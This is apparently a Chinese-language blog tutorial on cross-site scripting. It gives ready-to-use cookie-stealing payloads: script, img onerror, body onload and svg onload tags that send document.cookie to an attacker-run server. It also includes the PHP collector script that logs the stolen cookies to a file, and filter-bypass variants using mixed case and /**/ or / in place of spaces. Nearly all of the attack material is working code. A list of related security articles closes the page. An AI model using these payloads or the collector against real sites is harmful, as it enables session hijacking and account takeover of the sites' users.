XSS漏洞--常用payload及绕过

前置准备

  1. 首先准备一个自己的服务器。本地服务器,也就是127.0.0.1不行。
  2. 在服务器的公开的、可访问的目录下准备一个.php文件。我这里命名为flag.php。
  3. flag.php的源代码:
php 复制代码
//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

代码的作用是保存从目标服务器盗取的Cookie。
前置知识的学习看这里

payload的基本形式

php 复制代码
//js脚本形式
<script>location.href="http://xx.xx.xx.xx/flag.php?cookie="+document.cookie</script>

//img标签。onerror是图片加载失败时触发的事件。
<img src='#' onerror="window.location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

//body标签。onload是页面加载完成时触发的事件。
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

//svg标签。
<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

绕过方法

大小写绕过:

php 复制代码
<ScRipT> <IMg> <BOdy> <SvG>

空格被过滤:

php 复制代码
使用/**/ 或者 / 绕过
<body/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
<body/**/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
相关推荐
calm131 小时前
通信网络单元的划分和级别调整方法分享
网络·安全·web安全
oi..2 小时前
SRC 实战复盘:SSRF 漏洞挖掘、自动化检测及流量插件优化(含Burp suite 25.1.2文件)
笔记·web安全·网络安全·自动化·系统安全·安全架构
Andya_net3 小时前
网络安全 | NPing网络包生成工具详解
网络·安全·web安全
捉鸭子4 小时前
海关总署瑞数vmp算法还原
python·网络安全·node.js·网络爬虫
ll_af5 小时前
内网渗透完整链路:从外网打点到域控权限
网络·安全·web安全
大方子5 小时前
【青少年CTF S1·2026 公益赛】答案之书
网络安全·青少年ctf
星依网络5 小时前
文件上传漏洞绕过技巧 - 实战详解
web安全·网络安全
谪星·阿凯5 小时前
智榜样二阶段测试全解析博客
安全·web安全
数字护盾(和中)5 小时前
智能防御时代来临!AI + 网络安全破解攻防不对称难题
人工智能·安全·web安全
曼岛_5 小时前
[网络安全]Linux权限维持-后门篇
linux·chrome·web安全